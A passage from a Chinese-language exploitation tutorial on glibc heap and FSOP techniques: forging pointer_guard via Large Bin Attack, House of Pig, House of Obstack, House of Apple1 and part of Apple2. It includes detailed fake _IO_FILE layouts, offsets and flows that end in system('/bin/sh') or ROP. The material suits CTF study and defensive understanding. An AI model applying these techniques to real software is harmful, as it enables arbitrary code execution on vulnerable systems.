  1. Canary (金丝雀): 防栈溢出的那个随机数。
  2. pointer_guard (指针守卫): 防指针劫持的秘密密钥。

什么是 pointer_guard

你可以把它理解为“系统随机生成的 8 字节密码”

每次程序启动时,内核会生成一个绝对随机的 64 位数字存放在这里。它的物理位置紧紧挨着 Canary。只要你不泄露它,你就永远不知道这个密码是多少。

什么是 PTR_MANGLEPTR_DEMANGLE

这是 glibc 源码里的两个宏定义,代表着“加密(Mangle)”“解密(Demangle)”

自从黑客们发现虚表(vtable)和各类函数指针很好劫持后,glibc 官方就加了这套加密机制:

  • 写入指针时 (加密): 系统拿真实的函数地址,跟 pointer_guard 进行混合运算,变成一串毫无意义的乱码存到内存里。
  • 调用指针时 (解密): 系统把那串乱码读出来,再跟 pointer_guard 进行逆向混合运算,还原出真实的函数地址,然后 call 执行。

这套加解密算法用到了两个极其基础、但也极其巧妙的位运算指令:

  • XOR (异或 ): 它的特性是“相同为 0,不同为 1”,而且两次异或同一个数,等于没变
  • ROL/ROR (循环左移/循环右移): 普通的左移(<<)会把最高位丢掉,最低位补 0。但循环移位(Rotate)就像一个滚轮。如果向左循环移位(ROL),最左边被挤出去的比特位,会从最右边补充进来,没有任何数据丢失。

glibc 官方的算法公式(极其核心):

假设真实函数地址是 P (Pointer),密钥是 G(Guard),内存里存放的加密乱码是 M(Mangled)。

官方的加密(Mangle)过程是先异或,再循环左移 9 位:

$$
M = \text{ROL}_{9}(P \oplus G)
$$

官方的解密(Demangle)过程是加密的绝对逆运算,先循环右移 9 位,再异或回来:

$$
P = \text{ROR}_{9}(M) \oplus G
$$

密钥G一开始我们不知道,但是如果能把它覆盖为已知地址,那么就可以算出M从而布置P

了解之后就可以开始利用

先布置堆块布局如下:(以下Large bin Attack 简称LBA)

[ 状态零:开局物理布局 ]

绝对物理地址
HEAP_BASE + 0x000 +-------------------------+
                | Chunk L1_A (0x420 )   | <--- 用于第一发 LBA 靶子
+ 0x420           +-------------------------+
                | Chunk G1   (0x20 墙1) |
+ 0x440           +-------------------------+
                | Chunk L1_B (0x400)     | <--- 第一发 LBA 目标值。未来将作为 guard
+ 0x840           +-------------------------+
                | Chunk G2   (0x20 墙2)   |
+ 0x860           +-------------------------+
                | Chunk L2_A (0x440 )   | <--- 用于第二发 LBA 靶子
+ 0xca0           +-------------------------+
                | Chunk G3   (0x20 墙3) |
+ 0xcc0           +-------------------------+
                | Chunk L2_B (0x430 )   | <--- 第二发 LBA 写入值,【同时兼任傀儡块 F】
+ 0x10f0         +-------------------------+
                | Chunk G4   (0x20 )     |
                +-------------------------+
                | Top Chunk (荒野)       |
                +-------------------------+

释放 L1_A ,申请大块并将L1_A踢入 Large Bin

利用溢出漏洞篡改 L1_A 的bk_nextsize,指向 pointer_guard - 0x20(这是 Libc 里的固定偏移地址)

释放 L1_B,再次申请大块触发 LBA 插入

[ 状态一: Large Bin Attack 击杀密码防线 ]

【Large Bin [0x420 桶]】
Head ===> [ L1_A (靶子) ]
          fd: normal
          bk: normal
          bk_nextsize ===> [ pointer_guard - 0x20 ] (你改的)

系统的 LBA 插入动作: [ L1_A->bk_nextsize->fd_nextsize = L1_B ]
本质执行: *( (pointer_guard - 0x20) + 0x20 ) = L1_B 的绝对地址

【TLS 线程本地存储区】(物理现场)
...
+0x28: Canary (不变)
+0x30: pointer_guard ===> [ HEAP_BASE + 0x440 (L1_B 的地址) ] <--- 密码被替换!

获取 Guardknown_guard = heap_base + 0x440 (状态一里的成果)

确定目标target_gadget = libc_base + offset_setcontext (比如 ROP 栈迁移 gadget)。

手动加密:mangled_gadget = ROL9(target_gadget ^ known_guard)

趁着 Chunk L2_B (也就是 Chunk F) 还在我们手里,我们把所有的加密指针、/bin/sh 全部写进去。

动作: 利用程序的 edit 功能编辑 Chunk L2_B

[ 状态二:傀儡块 F (L2_B) 内部数据透视图 ]

+ 0xcc0 [ Chunk L2_B 头部 ] size: 0x431
+ 0xcd0 [ _flags ] 0x00000000
... (以下省略普通 _IO_FILE 字段,保证 _IO_OVERFLOW 能触发即可)
+ 0xd58 [ _lock ] [ 指向一个可写为 0 的已知地址 ]
+ 0xd98 [ vtable ] [ _IO_cookie_jumps 的绝对地址 ] <--- 极其合法的虚表
...
+ 0xda0 [ __cookie ] ===> [ HEAP_BASE + 0x1000 (栈迁移所需的堆 ROP 链地址) ] <--- 将成为 rdi
+ 0xda8 [ __functions ] 结构体
+0x00 read: 0
+0x08 write: [ 状态二算好的 mangled_gadget] <--- 致命木马!
+0x10 seek: 0
+0x18 close: 0
+ 0x1000 [ 你的 ROP 链 ] pop rdi; /bin/sh 地址; system 地址... <--- 最终行刑场

释放 L2_A 并踢入 Large Bin

利用溢出漏洞篡改 L2_A 的bk_nextsize),指向 **_IO_list_all – 0x20`**。

释放我们填好炸药的 L2_B,再次申请大块触发 LBA

[ 状态三:Large Bin Attack 篡改收尸路线 ]

【Large Bin [0x440 桶]】
Head ===> [ L2_A (靶子) ]
bk_nextsize ===> [ _IO_list_all - 0x20 ] (你改的)

系统的 LBA 插入动作: [ L2_A->bk_nextsize->fd_nextsize = L2_B ]
本质执行: *( (_IO_list_all - 0x20) + 0x20 ) = L2_B 的绝对地址

【libc 的数据段】(物理现场)
...
_IO_list_all ===> [ HEAP_BASE + 0xcc0 (Chunk L2_B 的地址) ] <--- 链表头沦陷!

最后让程序退出,触发 exit()

[ 状态四:借刀杀人,解密执行 ]

1. exit() 调用 FSOP。
2. 系统读取 [_IO_list_all] ===> 来到了堆上的 Chunk L2_B。
3. 系统解析 vtable [_IO_cookie_jumps] ===> 调用 __overflow。
4. __overflow 调用虚表里的:_IO_cookie_write 函数。

【_IO_cookie_write 内部物理逻辑】
RDI = Chunk L2_B 的用户数据区首地址 (HEAP_BASE + 0xcd0)

动作1 (读取木马): RAX = [ RDI + 0xe0 + 0x08 ] ===> 取出了 [ mangled_gadget ]
动作2 (读取 Guard):RCX = TLS:[+0x30] ===> 取出了我们在状态一塞进去的已知 guard [ HEAP_BASE + 0x440 ]
动作3 (致命解密): PTR_DEMANGLE (RAX ^ RCX)
(RAX 循环右移 9 位) ^ RCX
RAX 完美变回了 [ target_gadget (libc绝对地址) ]
动作4 (执行): CALL RAX (rdi=Chunk L2_B 的 __cookie)

物理执行流: 跳入 setcontext gadget -> 将 RSP 迁移到堆上的 ROP 链 -> 执行 system("/bin/sh")

需要注意的是:

  • pointer_guard 就在 canary 下面,偏移可能需要爆破

House of Pig

适用版本:2.23—— 至今

堆溢出,use after free

前置知识:

在 glibc 的 _IO_str_overflow 函数里,决定要不要去调用 malloc 的,是这样一个极其核心的 if 判定:

// 源码原声:计算当前写入了多少数据
pos = fp->_IO_write_ptr - fp->_IO_write_base;

// 源码原声:判定是否超出了缓冲区
if (pos >= (size_t) (_IO_blen (fp) + flush_only))
{
// ... 触发扩容 (执行 malloc) ...
}

系统通过计算 _IO_write_ptr 减去 _IO_write_base,来判断当前已经写了多少字节(也就是 pos)。

为了演示方便,在我们的厂房(Chunk F)里:

  • 我们等下会把 _IO_write_base 设为 0
  • 然后会把 _IO_write_ptr 设为了0x99999999
  • 计算结果: 系统算出来的 pos = 0x99999999(一个极其巨大的天文数字)

算准原缓冲区的长度 (_IO_blen)

源码里的 _IO_blen(fp) 其实是一个宏,它的底层定义就是: _IO_buf_end - _IO_buf_base

等下在我们的厂房(Chunk F)里:

  • _IO_buf_base 会指向 Chunk P 的首地址
  • _IO_buf_end 会指向 Chunk P 的首地址 + 22。
  • 计算结果: 系统算出来的原缓冲区长度就是 22

系统拿着这两个数字去比对: if (0x99999999 >= 22 + 0)flush_only 通常为 0)。 这个条件绝对成立!系统一看缓冲区爆了,而且爆得极其严重,必须马上申请新的大内存, 扩容判定,成功触发

进入了扩容的 if 块内部后,系统必须决定去申请多大的一块新内存。 glibc 源码里写死了一个扩容的数学公式(为了防止频繁分配,系统默认每次扩容都会多申请一倍再加一点):

// 源码原声:计算新缓冲区大小
size_t old_blen = _IO_blen (fp);          
size_t new_size = 2 * old_blen + 100;      
new_buf = malloc (new_size);

我们把第一步骗出来的数字,原封不动地代入系统的流水线:

  1. 提取旧长度: old_blen = 22
  2. 执行系统公式: new_size = 2 * 22 + 100
  3. 得出精确结果: new_size = 44 + 100 = 144
  4. 调用分配器: 系统乖乖地执行了 malloc(144)

之后呢malloc(144)会实际申请160=0xa0的块,所以我们布置0xa0的tcache bin链就行

了解之后就可以开始利用

布置堆块布局如下:

[ 物理堆基址 HEAP_BASE ]
+ 0x0000 +-----------------------------------+
        | Chunk P (毒药猪) [size: 0x30]     | <--- 只需要装 22 字节毒药
+ 0x0030 +-----------------------------------+
        | Chunk L1 (LBA 大哥) [size: 0x450] | <--- 用于辅助劫持 _IO_list_all
+ 0x0480 +-----------------------------------+
        | Chunk F (伪造流) [size: 0x440]   | <--- 既是厂房,又是 LBA 的子弹
+ 0x08C0 +-----------------------------------+
        | Chunk A (工具块) [size: 0xa0]     | \
+ 0x0960 +-----------------------------------+ |-- 精确申请 144 字节!(144+16=160=0xa0)
        | Chunk B (工具块) [size: 0xa0]     | /
+ 0x0A00 +-----------------------------------+
        | Guard Chunk (隔离墙)             |
+ 0x0A20 +-----------------------------------+
        | Top Chunk (荒野)                 |
        +-----------------------------------+

趁着块还在我们手里,把 Payload 写入。我们必须保证 _IO_buf_end - _IO_buf_base = 22

【 Chunk P (毒药猪) 的数据区: HEAP_BASE + 0x010 】
+ 0x00: [ Gadget 的绝对地址 ] <--- (占8字节) 准备贴在 __free_hook 上
+ 0x08: [ ROP 链的绝对地址 ] <--- (占8字节) 准备给 RDX 传参
+ 0x10: [ 6 字节的垃圾填充 ] <--- 完美凑齐 22 字节!

【 Chunk F (厂房/伪造流) 的数据区: HEAP_BASE + 0x490 】
+ 0x00 [_flags] 0x00000000
...
+ 0x28 [_IO_write_ptr] 0x99999999 <--- 极大值,引诱系统扩容
...
+ 0x38 [_IO_buf_base] [ HEAP_BASE + 0x010 ] <--- 指向 Chunk P 起始处
+ 0x40 [_IO_buf_end] [ HEAP_BASE + 0x026 ] <--- 指向 Chunk P + 22 处!
...
+ 0xD8 [vtable] [ _IO_str_jumps 的绝对地址 ]

free(A), free(B)

连续释放两个 0xa0 的块

【此时的底层链表】:Tcache[0xa0]_Head ===> B ===> A ===> 0

触发漏洞 (UAF 或 堆溢出),修改 B 的 fd 指针 # 我们把 B 的 fd 改为目标地址:__free_hook – 0x08

【此时的底层链表】:Tcache[0xa0]_Head ===> B ===> [__free_hook - 0x08]

然后malloc(0x90)

系统把B分配出来,

【此时的底层链表】:Tcache[0xa0]_Head ===> [__free_hook - 0x08]

接着Large Bin Attack (劫持 _IO_list_all)

释放 L1,改 L1 的 bk_nextsize 指向 _IO_list_all - 0x20。 释放厂房 F,触发 LBA 插入机制

【 Large Bin 插入时的物理动作 】
L1->bk_nextsize->fd_nextsize = Chunk F 绝对地址
翻译为绝对地址:*( (_IO_list_all - 0x20) + 0x20 ) = HEAP_BASE + 0x480

【 libc 数据段:IO 全局链表 】
_IO_list_all ===> [ HEAP_BASE + 0x480 (即 Chunk F) ]

执行 exit() 唤醒 _IO_str_overflow。 系统判定需要扩容,算出 new_size = 144,去 Tcache[0xa0] 拿到了 __free_hook

[ 系统底层执行:memcpy( __free_hook, Chunk P, 22 ) ]

来自 Chunk P (源地址) 砸向 libc (目标地址)
---------------------------------- ----------------------------------
[ 0~7 字节: Gadget 的绝对地址 ] =======> 写入 (__free_hook 内存处)
[ 8~15 字节: ROP 链的绝对地址 ] =======> 写入 (__free_hook + 0x08)
[ 16~21 字节: 6 字节垃圾填充 ] =======> 写入 (__free_hook + 0x10)

拷贝完成,系统紧接着执行 free(Chunk P)。 因为 Hook 已经被上面的 memcpy 改成了 Gadget,执行流瞬间跳入 Gadget

[ CPU 寄存器视角:栈迁移 ]

进入 Gadget 时: RDI = Chunk P 的首地址 (因为 free 的参数是 Chunk P)
Gadget 指令执行:mov rdx, [rdi + 8]
              => 读取 Chunk P 偏移 8 字节处的数据。
              => RDX = [ ROP 链的绝对地址 ] !
Gadget 指令执行:call [rdx + 0x20]
              => 彻底抛弃原有栈顶,跳转到堆上的 ROP 链开始执行

House of Obstack

适用版本:2.23—— 至今

堆溢出

前置知识:

什么是 obstack?(与 malloc 不同的“批发式”内存池)

在写 C 语言时,我们最熟悉的分配内存的方式是 mallocfree

  • malloc 的痛点: 就像是在市中心租单间。你需要一个单间,系统就给你找一个。如果你不停地租、退、租、退,内存里就会布满碎片,而且每次系统都要去维护复杂的链表(也就是我们之前讲的 Tcache、Fastbin 等等),这其实很慢

为了解决这个问题,GNU C 库(glibc)的开发者发明了 obstack (Object Stack,对象栈)

  • obstack 的哲学: 就像是租下整个体育馆,然后在里面拉布帘。 系统一次性向内核申请一块极其巨大的内存(Chunk)。然后当程序需要内存时,系统直接在这个大内存里划一道线(移动指针)分给你。
  • 最大优势: 它释放内存时,不需要像 free 那样一个个回收,而是直接把那道线往回一拉,瞬间全部清空!这对于需要频繁分配小对象、最后又要一起销毁的场景具有很大优势

什么是 _IO_obstack_overflow

  • obstack 指明了这个文件流不是真的写在硬盘上,而是写在刚刚说的“内存池”里的。
  • overflow 这里的 overflow 不是指“缓冲区溢出漏洞”(Buffer Overflow)。在 IO 部门的行话里,overflow 只是一个中性词,意思是:“当前这个水桶(缓冲区)装满了,需要倒掉(刷新)或者换个大桶(扩容)

当执行流从 _IO_obstack_overflow 进入后,它想要往我们伪造的内存池里写入一个字符(比如 EOF)。于是它调用了 obstack_1grow

在 glibc 源码中,obstack_1grow 根本不是一个真正的函数,而是一个宏定义(为了追求极致的运行速度)。它的底层源码大概长这样:

// glibc 底层宏定义 (精简版)
#define obstack_1grow(OBSTACK, datum) \
do { \
 // 1. 核心安检:当前的空闲指针 + 1,是不是超过了池子的极限?
 if ((OBSTACK)->next_free + 1 > (OBSTACK)->chunk_limit) \
   // 2. 如果超过了,说明池子满了,呼叫后勤部门扩容!
   _obstack_newchunk ((OBSTACK), 1); \
 \
 // 3. 如果没满(或者扩容完了),就把数据写进去
 *((OBSTACK)->next_free)++ = (datum); \
} while (0)

系统原本是真的想检查内存满没满。但是,OBSTACK 这个指针,指向的是我们在堆上伪造的假结构体!

  • 我们在伪造时,把 next_free 填成了 1
  • 我们把 chunk_limit 填成了 0

代入系统的安检公式: if ( 1 + 1 > 0 ) 条件绝对成立! 系统瞬间被骗,它坚信“内存池已经爆满了”,于是立刻挂起写入操作,急急忙忙地去调用扩容函数 _obstack_newchunk

_obstack_newchunk 是一个真正的 C 函数。它的职责是计算还需要多大的内存,然后调用分配器去要内存

// glibc 底层源码 (极度精简版)
void _obstack_newchunk (struct obstack *h, int length)
{
 // ... 前面有一大堆计算对齐、计算 new_size 的复杂数学代码 ...
 // (我们根本不在乎它怎么算,因为不管算出多大,都会走到下面这句)

 // 致命的调用:去申请新内存!
 new_chunk = CALL_CHUNKFUN (h, new_size);
 
 // ... 后面是对新内存的初始化代码 (根本执行不到了,因为这里已经弹 Shell 了) ...
}

调用了一个叫 CALL_CHUNKFUN 的宏

我们来看看这个宏的定义:

// glibc 底层宏定义
#define CALL_CHUNKFUN(h, size) \
// 判断:用户有没有提供额外的参数 (extra_arg)?
(((h)->use_extra_arg) \
// 分支 A:有额外参数。调用自定义函数,并把额外参数和 size 一起传进去!
? (*(h)->chunkfun) ((h)->extra_arg, (size)) \
// 分支 B:没有额外参数。只传 size 进去。
: (*(h)->chunkfun) ((size)))

系统读取 h->use_extra_arg。我们在结构体里填的是 1。系统走向分支 A

系统准备执行函数调用:(*(h)->chunkfun) ( (h)->extra_arg, size )

系统提取函数指针 h->chunkfun。我们在结构体里填的是 system 的绝对地址

系统提取参数 h->extra_arg。我们在结构体里填的是 "/bin/sh\x00" 的绝对地址

了解这些之后,就可以开始利用:

初始堆块布局如下:

[ 状态一:物理内存绝对布局与连体结构伪造 ]

绝对物理地址
HEAP_BASE + 0x000 +-----------------------------------------+
| Chunk L1 [实际占用 0x450] | <--- 用于辅助劫持
+ 0x450 +-----------------------------------------+
| Chunk F [实际占用 0x440] |
+ 0x460 (数据区) | ========[ 伪造 _IO_FILE 结构 ]======== |
| +0x00: _flags = 0 | <--- (打盲LBA时会被覆盖)
| ... |
| +0x28: _IO_write_ptr = 1 | <--- 只要 > write_base(0) 即可
| ... |
| +0xD8: vtable ===> [ &_IO_obstack_jumps ] <--- 合法的虚表
| ========[ 绑定 obstack 指针 ]======== |
| +0xE0: obstack ===> [ HEAP_BASE + 0x460 + 0xE8 ] (指在自己屁股后面)
| ========[ 伪造 obstack 结构体 ]====== | (F数据区+0xE8)
| +0xE8+0x18: next_free = 1 | \ 人为制造 [1 + 1 > 0]
| +0xE8+0x20: chunk_limit = 0 | / 的“池子已满”状态
| ... |
| +0xE8+0x30: chunkfun ===> [ system ] | <--- 明文指针,白给!
| +0xE8+0x40: extra_arg ===> [ F数据区+0x138 ] (指向字符串)
| +0xE8+0x48: use_extra_arg = 1 | <--- 启用参数
| ========[ 放置shell命令 ]============== | (F数据区+0x138)
| +0x138: b"/bin/sh\x00" |
+ 0x890 +-----------------------------------------+
| Guard Chunk (隔离墙) |
+-----------------------------------------+

我们释放 L1 入 Large Bin,改其 bk_nextsize 指向 _IO_list_all - 0x20。释放 F,触发 LBA 插入,强制覆盖目标全局变量

[ 状态二:LBA 强制修改收尸路线 ]

【 Large Bin 插入时的物理动作 】
L1->bk_nextsize->fd_nextsize = Chunk F 绝对地址
本质执行:*( (_IO_list_all - 0x20) + 0x20 ) = HEAP_BASE + 0x450

【 libc 全局数据段:IO 全局链表 】
_IO_list_all ===> [ HEAP_BASE + 0x450 (即 Chunk F) ]

我们让程序正常结束触发 exit()。系统遍历 _IO_list_all 找到了 Chunk F

1. exit() 调用 FSOP。
2. 系统读取 [_IO_list_all] ===> 来到了堆上的 Chunk F。
3. 系统解析 vtable [_IO_obstack_jumps] ===> 调用 __overflow

系统底层执行流跳入 _IO_obstack_overflow 函数内部

RDI = Chunk F 首地址
结构体提取:从 [ RDI + 0xE0 ] 处取出指针。
物理动作:取出了我们在第一步布置的【伪造 obstack 的绝对堆地址】

进入 obstack_1grow 宏调用

系统读取伪造 obstack 的字段进行比对:
判定:next_free(1) + 1 > chunk_limit(0) 成立!
系统认为:“哎呀,池子满了,得扩容!”
物理动作:跳入 [_obstack_newchunk] 函数

系统读取伪造 obstack 的字段作为参数:

提取:h->chunkfun = system

提取:h->extra_arg = “/bin/sh\x00” 地址

启用:h->use_extra_arg = 1

系统极其听话地执行了 CALL_CHUNKFUN 宏:
本质执行: h->chunkfun( h->extra_arg )
物理级转化: system( "/bin/sh\x00" )

House of Apple1

适用版本:2.23—— 至今

堆溢出

前置知识:

_IO_wstrn_overflow 是 glibc 内部处理定长宽字符串流(Wide String n-length Stream)*的合法溢出处理函数。比如,当程序在底层调用 vswprintf 一类的函数,向内存缓冲区写入宽字符时,如果发现原本分配的缓冲区写满了,系统就会调用这个函数来进行*缓冲区的重置或扩容

struct _IO_wstrnfile
{
 _IO_FILE f;                  // +0x00: 标准的 0xE0 大小的 FILE 结构体
 wchar_t overflow_buf[64];    // +0xE0: 备用缓冲区
};

这是宽字符流的专属扩展结构体。它在标准的 _IO_FILE 后面,追加了一个定长的数组,作为备用的溢出缓冲区。

_IO_wstrn_jumps 是 glibc 内部定义的一个真实的全局静态数组,里面存满了一堆函数指针。

这个是专门给定长宽字符串流(wstrn)用的

在这个虚表中,负责处理“溢出(overflow)”逻辑的那个函数指针,指向的正是真实函数 _IO_wstrn_overflow

snffp 的强转指针,fp 让系统只能看到 +0x00+0xE0 的基本结构;而强转成 snf 后,系统在编译层面被允许访问 相对偏移+0xE0 后面的 overflow_buf 数组(overflow_buf数组一般是固定衔接在_IO_FILE 结构体之后的)

_IO_wstrnfile *snf = (_IO_wstrnfile *) fp;

当**劫持执行流 (vtable)写成了 &_IO_wstrn_jumps后,系统顺着这个地址去找,最终 CALL _IO_wstrn_overflow,然后就会将 snf->overflow_buf 的绝对地址,写入 fp->_wide_data 所指向的内存区域

布置堆块布局并准备好伪造的IO_File结构体:

绝对堆地址           物理偏移      内部字段名称 (struct _IO_FILE)       被强制写入的物理数据 (8字节/行)
-------------------------------------------------------------------------------------------------------
HEAP_BASE + 0x000: |           | Chunk 0 (溢出源) [实际占用 0x20]   | (溢出利用点,包含你的超长 payload)
HEAP_BASE + 0x020: |           | Chunk L1 (LBA靶子) [实际占用 0x440]| (已被 free 进入 Large Bin)
HEAP_BASE + 0x460: |           | Chunk F 块头 (prev_size & size) | (系统维护数据)
-------------------------------------------------------------------------------------------------------
                  |           | ======== Chunk F 数据区开始 ======== |
HEAP_BASE + 0x470: | +0x00     | _flags                           | 0x0000000000000000
HEAP_BASE + 0x478: | +0x08     | _IO_read_ptr                     | 0x0000000000000000 (0填充)
HEAP_BASE + 0x480: | +0x10     | _IO_read_end                     | 0x0000000000000000 (0填充)
HEAP_BASE + 0x488: | +0x18     | _IO_read_base                   | 0x0000000000000000 (0填充)
HEAP_BASE + 0x490: | +0x20     | _IO_write_base                   | 0x0000000000000000 (基址归零)
HEAP_BASE + 0x498: | +0x28     | _IO_write_ptr                   | 0x0000000000000001 <--- 强行使其大于 base!
HEAP_BASE + 0x4A0: | +0x30     | _IO_write_end                   | 0x0000000000000000 (0填充)
HEAP_BASE + 0x4A8: | +0x38     | _IO_buf_base                     | 0x0000000000000000 (0填充)
HEAP_BASE + 0x4B0: | +0x40     | _IO_buf_end                     | 0x0000000000000000 (0填充)
HEAP_BASE + 0x4B8: | +0x48     | _IO_save_base                   | 0x0000000000000000 (0填充)
HEAP_BASE + 0x4C0: | +0x50     | _IO_backup_base                 | 0x0000000000000000 (0填充)
HEAP_BASE + 0x4C8: | +0x58     | _IO_save_end                     | 0x0000000000000000 (0填充)
HEAP_BASE + 0x4D0: | +0x60     | _markers                         | 0x0000000000000000 (0填充)
HEAP_BASE + 0x4D8: | +0x68     | _chain                           | 0x0000000000000000 (0填充)
HEAP_BASE + 0x4E0: | +0x70     | _fileno / _flags2               | 0x0000000000000000 (0填充)
HEAP_BASE + 0x4E8: | +0x78     | _old_offset                     | 0x0000000000000000 (0填充)
HEAP_BASE + 0x4F0: | +0x80     | _cur_column / _vtable_offset / _shortbuf | 0x0000000000000000 (0填充)
HEAP_BASE + 0x4F8: | +0x88     | _lock                           | [ 已知可写且值为0的绝对物理地址 ]
HEAP_BASE + 0x500: | +0x90     | _offset                         | 0x0000000000000000 (0填充)
HEAP_BASE + 0x508: | +0x98     | _codecvt                         | 0x0000000000000000 (0填充)
HEAP_BASE + 0x510: | +0xA0     | _wide_data                       | [ __free_hook 的绝对物理地址 ]
HEAP_BASE + 0x518: | +0xA8     | _freeres_list                   | 0x0000000000000000 (0填充)
HEAP_BASE + 0x520: | +0xB0     | _freeres_buf                     | 0x0000000000000000 (0填充)
HEAP_BASE + 0x528: | +0xB8     | __pad5                           | 0x0000000000000000 (0填充)
HEAP_BASE + 0x530: | +0xC0     | _mode                           | 0x0000000000000000 (0填充)
HEAP_BASE + 0x538: | +0xC8     | _unused2 (共占据 20 字节中的前 8) | 0x0000000000000000 (0填充)
HEAP_BASE + 0x540: | +0xD0     | _unused2 (紧接后面的 8 字节 + 4字节对齐) | 0x0000000000000000 (0填充)
HEAP_BASE + 0x548: | +0xD8     | vtable                           | [ &_IO_wstrn_jumps 的绝对地址 ]
-------------------------------------------------------------------------------------------------------
                  |           | ====== _IO_FILE 结构体绝对结束,进入 snf 专属视野 ====== |
HEAP_BASE + 0x550: | +0xE0     | overflow_buf[0] 到 [1]           | [ Shellcode / 栈迁移 Gadget 第一部分 ]
HEAP_BASE + 0x558: | +0xE8     | overflow_buf[2] 到 [3]           | [ Shellcode / 栈迁移 Gadget 第二部分 ]
HEAP_BASE + 0x560: | +0xF0     | ... 后续的宽字符缓冲区             | [ 可以继续布置更长的 ROP 链 ]
-------------------------------------------------------------------------------------------------------
HEAP_BASE + 0x890: |           | Top Chunk                       |
-------------------------------------------------------------------------------------------------------

free (Chunk L1)再申请更大块让Chunk L1进入Large bin

利用 Chunk 0 的堆溢出漏洞,向下越界,改写 Chunk L1 的关键指针

【 堆内存战损区:发生堆溢出 】
我们在 Chunk 0 中写入超长 payload,越界进入 Chunk L1 头部:
HEAP_BASE + 0x020 (L1 prev_size) : [ 垃圾数据 ]
HEAP_BASE + 0x028 (L1 size)     : [ 原 size 保持不变 ]
HEAP_BASE + 0x030 (L1 fd)       : [ 保持不变 ]
HEAP_BASE + 0x038 (L1 bk)       : [ 保持不变 ]
HEAP_BASE + 0x040 (L1 fd_nextsize): [ 保持不变 ]
HEAP_BASE + 0x048 (L1 bk_nextsize): [ _IO_list_all - 0x20 ] <--- 溢出覆盖:将目标设为全局 IO 链表

【 触发 LBA 写入 】
执行 free(Chunk F)
执行 malloc(0x450) <--- 申请大块,触发 Large Bin 插入逻辑

执行底层宏:L1->bk_nextsize->fd_nextsize = Chunk_F_Addr
物理结果:_IO_list_all ===> [ HEAP_BASE + 0x460 ]=Chunk_F_Addr

执行 exit() 结束程序,交出执行流。 系统顺着 _IO_list_all 读取到 Chunk F,发现 _IO_write_ptr > _IO_write_base,跳入虚表中的 _IO_wstrn_overflow

进入源码的 if 块后,系统开始执行高密度的指针拷贝

系统提取指针:
fp->_wide_data = [ __free_hook ] 的绝对地址
snf->overflow_buf = [ HEAP_BASE + 0x550 ] (即 Chunk F 内部的已知堆地址)

【 libc 数据段:__free_hook 区域的连续覆盖 】
----------------------------------------------------------------------------------
[ __free_hook + 0x00 ] (原值为 0)       被强制改写为 ===> [ HEAP_BASE + 0x550 ]
[ __free_hook + 0x08 ] (垃圾数据)       被强制改写为 ===> [ HEAP_BASE + 0x550 + offset ]
[ __free_hook + 0x10 ] (垃圾数据)       被强制改写为 ===> [ HEAP_BASE + 0x550 ]
[ __free_hook + 0x18 ] (垃圾数据)       被强制改写为 ===> [ HEAP_BASE + 0x550 ]
[ __free_hook + 0x20 ] (垃圾数据)       被强制改写为 ===> [ HEAP_BASE + 0x550 ]
[ __free_hook + 0x28 ] (垃圾数据)       被强制改写为 ===> [ HEAP_BASE + 0x550 ]
----------------------------------------------------------------------------------

此时,系统的 __free_hook 的值,已经被替换成了我们完全已知的堆地址:HEAP_BASE + 0x550

如果我们在接下来的程序运行中(或者在 IO 刷新的收尾阶段系统自动调用的清理操作中)触发了任何一次 free(ptr)

1. 系统调用 free(ptr)
2. 系统检查 __free_hook,发现不为 NULL,其值为 [ HEAP_BASE + 0x550 ]。
3. 系统底层跳转:
  CALL [ HEAP_BASE + 0x550 ]

4. CPU 控制权转移:
  PC (指令寄存器) 跳入堆内存 HEAP_BASE + 0x550。
  开始执行我们在那里提前布置好的 Shellcode 或特定的栈迁移 Gadget

House of Apple2

适用版本:2.23—— 至今

堆溢出

前置知识:

在 glibc 中,当我们打开一个真正的文件(比如通过 fopen 打开硬盘上的 txt),并且准备向里面写入宽字符(wchar_t,即多字节字符如中文、Unicode)时,系统底层使用的是 _IO_wfile_jumps 这套虚表

_IO_wfile_overflow 就是这套虚表里负责处理“文件缓冲区满载”或“初次写入”的核心函数

它的合法业务逻辑非常清晰:

  1. 检查权限: 这个文件允许写吗?(检查 _flags
  2. 检查缓冲区: 这个文件在内存里的宽字符缓冲区分配了吗?
  3. 分配缓冲区(关键点): 如果没有分配,去调用一个专门的分配函数(doallocate)向系统要一块内存。
  4. 执行写入/刷新: 把数据真正写进内核或硬盘

关于权限检查

// glibc 源码
if (f->_flags & _IO_NO_WRITES) // _IO_NO_WRITES 的宏定义值为 0x8
   return WEOF;

如果绕过了权限检查,源码继续执行,判断当前流的状态:

// glibc 源码
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_wide_data->_IO_write_base == NULL)
{
   // ... 准备进入分配分支 ...
}

_IO_CURRENTLY_PUTTING (宏定义为 0x800) ,同样可以设计_flags绕过进入if分支

if 块内部,系统调用了专门检查宽字符缓冲区的函数 _IO_wdoallocbuf(f)

// glibc 源码:_IO_wdoallocbuf 内部
void _IO_wdoallocbuf (FILE *fp)
{
 // 检查 1:如果 _IO_buf_base 不是 NULL,说明已经有缓冲区了,直接 return 退出!
 if (fp->_wide_data->_IO_buf_base)
   return;

 // 检查 2:如果没有缓冲区,调用分配宏!
 _IO_WDOALLOCATE (fp);
}

系统读取 fp->_wide_data,得到 A 区的起址。然后读取 A 区偏移 +0x30_IO_buf_base

利用设计: 在我们精密重叠的布局中,A 区(即 fake io_file 的 +0xE0 处)的偏移 +0x30,也就是 fake io_file整体的 +0x110 处,可以填充 0x0000000000000000

_IO_WDOALLOCATE 是一个层层嵌套的宏,完全展开后就是那句著名的:

(fp->_wide_data->_wide_vtable->doallocate) (fp)

doallocate可以只要被我们改成利用的gadget,就可以引导系统去call

在 glibc 2.24 之后,官方为了防止虚表劫持,引入了 vtable_is_valid 检查,标准的 vtable 必须落在 libc 的只读段(.rodata)内,否则直接 abort 崩溃。后来又给各个函数指针加上了 PTR_MANGLE 加密。

但是,开发者的百密一疏在于:他们忘了检查宽字符专属的虚表

// 1. 触发点:_IO_wfile_overflow 内部需要分配缓冲区时,调用宏:
_IO_wdoallocbuf(fp);

// 2. 宏展开进入 _IO_WDOALLOCATE
#define _IO_WDOALLOCATE(FP) WJUMP0 (__doallocate, FP)

// 3. WJUMP0 宏展开
#define WJUMP0(FUNC, THIS) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS)

// 4. 终极展开:物理层面的绝对指针解引用 (毫无安检!)
(fp->_wide_data->_wide_vtable->doallocate) (fp)

